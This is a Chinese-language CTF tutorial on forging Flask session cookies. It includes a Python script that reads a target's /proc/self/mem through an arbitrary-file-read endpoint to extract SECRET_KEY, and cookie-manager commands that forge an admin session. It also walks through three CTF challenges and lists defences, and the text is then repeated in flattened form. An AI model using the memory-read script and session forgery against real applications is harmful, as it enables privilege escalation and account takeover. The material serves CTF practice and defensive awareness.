Flask Session伪造
字数 1410 2025-08-11 17:39:47

Flask Session伪造攻击详解

1. Flask框架基础

Flask是一个基于Python的轻量级Web应用框架,使用Jinja2模板引擎和Werkzeug WSGI工具箱构建。在安全研究中,Flask的Session机制是一个重要的攻击面。

2. Flask Session机制解析

2.1 Session存储特点

  • Flask的Session存储在客户端而非服务端
  • Session数据经过签名处理,使用app.config['SECRET_KEY']作为salt
  • Session数据格式:base64(数据).时间戳.签名

2.2 Session安全依赖

  • 安全性完全依赖于SECRET_KEY的保密性
  • 如果攻击者获取SECRET_KEY,可以伪造任意Session
  • 默认情况下Session数据仅签名未加密,可被读取但无法篡改(无密钥时)

3. 获取SECRET_KEY的方法

3.1 源码泄露

  • 检查config.py等配置文件
  • 在[HCTF2018]admin题目中,SECRET_KEY直接写在源码中

3.2 内存读取技术

当存在任意文件读取漏洞时,可通过以下步骤获取SECRET_KEY:

  1. 读取/proc/self/maps获取内存映射信息
  2. 分析内存映射,找到可读写的内存区域
  3. 读取/proc/self/mem对应内存区域
  4. 使用正则匹配提取SECRET_KEY

示例代码

import requests, re

url = "http://target.com/"
maps_url = f"{url}/download?file=/proc/self/maps"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps = re.findall(maps_reg, requests.get(maps_url).text)

for m in maps:
    start, end = m.split("-")[0], m.split("-")[1]
    Offset, Length = str(int(start, 16)), str(int(end, 16) - int(start, 16))
    read_url = f"{url}/download?file=/proc/self/mem&offset={Offset}&length={Length}"
    s = requests.get(read_url).content
    rt = re.findall(b"[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}", s)
    if rt:
        print(rt)

4. Session伪造实战

4.1 工具准备

使用flask_session_cookie_manager3.py工具进行Session编解码

4.2 攻击步骤

  1. 获取目标网站的Session Cookie
  2. 解码现有Session:
    python flask_session_cookie_manager3.py decode -s "SECRET_KEY" -c "Session值"
    
  3. 修改Session数据(如将username改为admin)
  4. 重新编码Session:
    python flask_session_cookie_manager3.py encode -t "{'username':'admin'}" -s "SECRET_KEY"
    
  5. 将伪造的Session替换原Cookie

5. 经典CTF题目分析

5.1 [HCTF2018]admin

  • 通过源码注释发现SECRET_KEY泄露
  • 直接伪造Session提升权限

5.2 [2022蓝帽杯]file_session

  • 存在任意文件读取漏洞
  • 通过读取内存获取SECRET_KEY
  • 伪造Session实现越权

5.3 CatCTF[cat cat]

  • 通过/proc/self/maps/proc/self/mem读取内存
  • 特殊SECRET_KEY生成方式:str(uuid.uuid4()).replace("-","") + "*abcdefgh"
  • 伪造admin Session获取flag

6. 防御措施

  1. 保护SECRET_KEY:

    • 不要将SECRET_KEY硬编码在源码中
    • 使用环境变量存储SECRET_KEY
    • 定期更换SECRET_KEY
  2. Session安全配置:

    • 使用SESSION_COOKIE_HTTPONLYSESSION_COOKIE_SECURE
    • 考虑使用服务端Session存储
  3. 文件权限控制:

    • 限制对/proc目录的访问
    • 避免任意文件读取漏洞

7. 总结

Flask Session伪造攻击的核心在于获取SECRET_KEY,通过源码泄露或内存读取等技术获取密钥后,攻击者可以伪造任意用户身份。开发人员应重视SECRET_KEY的保护,并实施适当的防御措施来防止此类攻击。

Flask Session伪造攻击详解 1. Flask框架基础 Flask是一个基于Python的轻量级Web应用框架,使用Jinja2模板引擎和Werkzeug WSGI工具箱构建。在安全研究中,Flask的Session机制是一个重要的攻击面。 2. Flask Session机制解析 2.1 Session存储特点 Flask的Session存储在客户端而非服务端 Session数据经过签名处理,使用 app.config['SECRET_KEY'] 作为salt Session数据格式: base64(数据).时间戳.签名 2.2 Session安全依赖 安全性完全依赖于 SECRET_KEY 的保密性 如果攻击者获取 SECRET_KEY ,可以伪造任意Session 默认情况下Session数据仅签名未加密,可被读取但无法篡改(无密钥时) 3. 获取SECRET_ KEY的方法 3.1 源码泄露 检查 config.py 等配置文件 在[ HCTF2018]admin题目中,SECRET_ KEY直接写在源码中 3.2 内存读取技术 当存在任意文件读取漏洞时,可通过以下步骤获取SECRET_ KEY: 读取 /proc/self/maps 获取内存映射信息 分析内存映射,找到可读写的内存区域 读取 /proc/self/mem 对应内存区域 使用正则匹配提取SECRET_ KEY 示例代码 : 4. Session伪造实战 4.1 工具准备 使用 flask_session_cookie_manager3.py 工具进行Session编解码 4.2 攻击步骤 获取目标网站的Session Cookie 解码现有Session: 修改Session数据(如将username改为admin) 重新编码Session: 将伪造的Session替换原Cookie 5. 经典CTF题目分析 5.1 [ HCTF2018 ]admin 通过源码注释发现SECRET_ KEY泄露 直接伪造Session提升权限 5.2 [ 2022蓝帽杯]file_ session 存在任意文件读取漏洞 通过读取内存获取SECRET_ KEY 伪造Session实现越权 5.3 CatCTF[ cat cat ] 通过 /proc/self/maps 和 /proc/self/mem 读取内存 特殊SECRET_ KEY生成方式: str(uuid.uuid4()).replace("-","") + "*abcdefgh" 伪造admin Session获取flag 6. 防御措施 保护SECRET_ KEY: 不要将SECRET_ KEY硬编码在源码中 使用环境变量存储SECRET_ KEY 定期更换SECRET_ KEY Session安全配置: 使用 SESSION_COOKIE_HTTPONLY 和 SESSION_COOKIE_SECURE 考虑使用服务端Session存储 文件权限控制: 限制对 /proc 目录的访问 避免任意文件读取漏洞 7. 总结 Flask Session伪造攻击的核心在于获取SECRET_ KEY,通过源码泄露或内存读取等技术获取密钥后,攻击者可以伪造任意用户身份。开发人员应重视SECRET_ KEY的保护,并实施适当的防御措施来防止此类攻击。